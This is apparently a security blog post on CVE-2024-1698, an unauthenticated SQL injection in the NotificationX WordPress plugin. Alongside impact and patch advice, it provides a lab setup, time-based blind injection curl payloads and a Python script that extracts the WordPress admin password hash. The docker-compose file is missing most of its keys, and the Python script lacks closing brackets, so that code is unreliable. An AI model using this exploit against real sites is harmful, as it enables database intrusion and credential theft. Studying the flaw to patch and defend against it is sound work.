SQL Injection Alert! Dissecting CVE-2024-1698 in NotificationX for WordPress

Heads up, WordPress security researchers! We're diving into CVE-2024-1698, a critical unauthenticated SQL injection (SQLi) vulnerability lurking in NotificationX – a popular plugin for sales popups and social proof notifications. Let's unpack the technical details, potential damage, a proof of concept and how to patch this security hole.

What is NotificationX?

NotificationX helps website owners boost conversions with features like FOMO tactics, social proof notifications, and sales popups. But if not kept up-to-date, it can expose websites to security risks.

The Vulnerability's Core:

CVE-2024-1698 resides in versions prior to 2.8.3 and exploits poor input validation. Here's the breakdown:

  1. Malicious Input: An attacker crafts a URL containing a specially crafted string within a parameter called type in a NotificationX request.

  2. Unsanitized Input Woes: The vulnerable plugin code incorporates this user-supplied input directly into an SQL query without proper validation or escaping mechanisms. Think of it like putting raw user input straight into a database command!

  3. SQL Injection Shenanigans: The malicious string, potentially containing SQL code, gets executed by the database server. This allows the attacker to manipulate the database at will.

Attack Scenarios with Real Impact:

This vulnerability opens doors for attackers to:

  • Steal Data: Usernames, passwords, website content - anything stored in the WordPress database becomes vulnerable.

  • Deface the Website: Attackers can inject malicious code to alter the website's appearance or functionality, potentially displaying propaganda or phishing attempts.

  • Gain More Access (Potential): In some cases, attackers might gain elevated privileges within the database system, depending on its structure and user permissions.

The Consequences of a Successful Exploit:

  • Reputational Damage: Data breaches or a defaced website can severely damage a website's reputation and erode user trust.

  • SEO Hit: Search engines might penalize compromised websites, affecting their search ranking and visibility.

  • Compliance Issues: Depending on the data stolen, the website owner might face legal or regulatory consequences.

Mitigating the Risk:

Here's how to protect your WordPress site:

  • Update Immediately: Patch NotificationX to version 2.8.3 or later, which fixes this vulnerability.

  • Consider Alternatives: If immediate updates are a challenge, explore alternative notification plugins with a strong security track record.

  • Regular Plugin Audits: Regularly scan your plugins for vulnerabilities. There are security plugins available that can help with this.

  • Web Application Firewall (WAF): Consider implementing a WAF to detect and block malicious traffic targeting SQL injection vulnerabilities.

  • Database Security Best Practices: Enforce strong database security practices like complex passwords and least privilege for database users.

Proof of Concept:

To build a lab for this proof of concept, we will use the following docker compose:

version: "3"
    # Database
        image: mysql:5.7
            - db_data:/var/lib/mysql
        restart: always
        env_file: .env
            - wpNetwork

    # WordPress
            - db
        build: .
            - "80:80"
        restart: always
            - wp_data:/var/www/html
        env_file: .env
            WORDPRESS_DB_HOST: db:3306
            - wpNetwork

The Dockerfile could be:

FROM wordpress:apache
RUN apt-get update \
    && apt-get install -y vim wget unzip
RUN cd /tmp \
    && wget https://downloads.wordpress.org/plugin/notificationx.2.8.2.zip \
    && unzip notificationx.2.8.2.zip \
    && mv /tmp/notificationx /usr/src/wordpress/wp-content/plugins/ \
    && rm /tmp/notificationx.2.8.2.zip

Now lets build and run the docker containers in detached mode to host the vulnerable service.

docker-compose up -d

Once we have the containers up and running, we can go to http://localhost/wp-admin

Set up a user and complete the wordpress installation. Once we are done with that we can log into the admin panel.

If we visit the Plugins page, we can see the NotificationX plugin already installed and showing an upgrade warning since we have a vulnerable version of it.

Lets go ahead and activate the plugin, it will take us to the plugin configuration screen. We can use the default configuration and publish the plugin.

Once we have the plugin live, its time to check if the type parameter in the http://localhost/wp-json/notificationx/v1/analytics API is actually vulnerable to SQL injection or not.

The exploit involves crafting a URL string where the type parameter contains SQL code. We will use the following payload:

nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -

CURL for this payload would be:

curl http://localhost/wp-json/notificationx/v1/analytics -d 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'

We have added a SLEEP(10) injection to check if the SQL injection is being performed then we would expect the first request to hang the system for 10 seconds. This means we need to send send two subsequent request and note their response timing. We can do something like this:

time curl http://localhost/wp-json/notificationx/v1/analytics -d 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'

The first response shows that it took 0.04 seconds.

However, the seconds shows it took 10.04 seconds. Hence, the SLEEP(10) injection worked.

Now lets try to automate some injection to read the admin user's password hash from the database. We can use the following exploit code:

import requests
import string
from sys import exit
# Sleep time for SQL payloads
delay = 0.3
# URL for the NotificationX Analytics API
url = "http://localhost/wp-json/notificationx/v1/analytics"
admin_password_hash = ""
session = requests.Session()
for idx in range(1, 41):
    # Iterate over all the printable characters + NULL byte
    for ascii_val in (b"\x00"+string.printable.encode()):
        # Send the payload
        resp = session.post(url, data = {
                "nx_id": 1337,
                "type": f"clicks`=IF(ASCII(SUBSTRING((select user_pass from wp_users where
id=1),{idx},1))={ascii_val},SLEEP({delay}),null)-- -"
        # Elapsed time > delay if delay happened due to SQLi
        if resp.elapsed.total_seconds() > delay:
            admin_password_hash += chr(ascii_val)
            # Show what we have found so far...
            # Exit condition - encountered a null byte
            if ascii_val == 0:
                print("[*] Admin password hash:", admin_password_hash)
This exploit code steals the administrator's password hash. It iterates through all possible characters (letters, numbers, symbols) one by one. For each character, it sends a specially crafted request to the plugin's API. This request includes a SQL code that checks if the current guess matches a character in the password hash stored in the database. If there's a match, the database query takes a longer time to respond due to an extra delay. By measuring the response time, the code can figure out which character is part of the password hash and build it up character by character until the entire hash is discovered.

We get the following result on running this exploit code in our hosted deployment:


CVE-2024-1698 emphasizes the importance of keeping plugins updated and prioritizing website security. By understanding the vulnerability, implementing mitigation strategies, and staying vigilant about security updates, WordPress website owners can effectively guard their websites against malicious attacks.


The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-1698 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.

It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.

CVE-2024-22416: CSRF Vulnerability in pyLoad (pyload-ng)
CVE-2024-22416: CSRF Vulnerability in pyLoad (pyload-ng)
James McGill
CVE-2023-1177: Path Traversal Vulnerability in MLflow
CVE-2023-1177: Path Traversal Vulnerability in MLflow
James McGill
CVE-2024-1561: Unauthorized Local File Read Vulnerability in Gradio Applications
CVE-2024-1561: Unauthorized Local File Read Vulnerability in Gradio Applications
James McGill
CVE-2024-27956: SQL Injection Vulnerability in ValvePress Automatic (WP-Automatic)
CVE-2024-27956: SQL Injection Vulnerability in ValvePress Automatic (WP-Automatic)
James McGill
CVE-2023-23752: Improper Access Control in Joomla! Versions 4.0.0 through 4.2.7
CVE-2023-23752: Improper Access Control in Joomla! Versions 4.0.0 through 4.2.7
James McGill
CVE-2024-4040: A Critical CrushFTP Server-Side Template Injection Vulnerability
CVE-2024-4040: A Critical CrushFTP Server-Side Template Injection Vulnerability
James McGill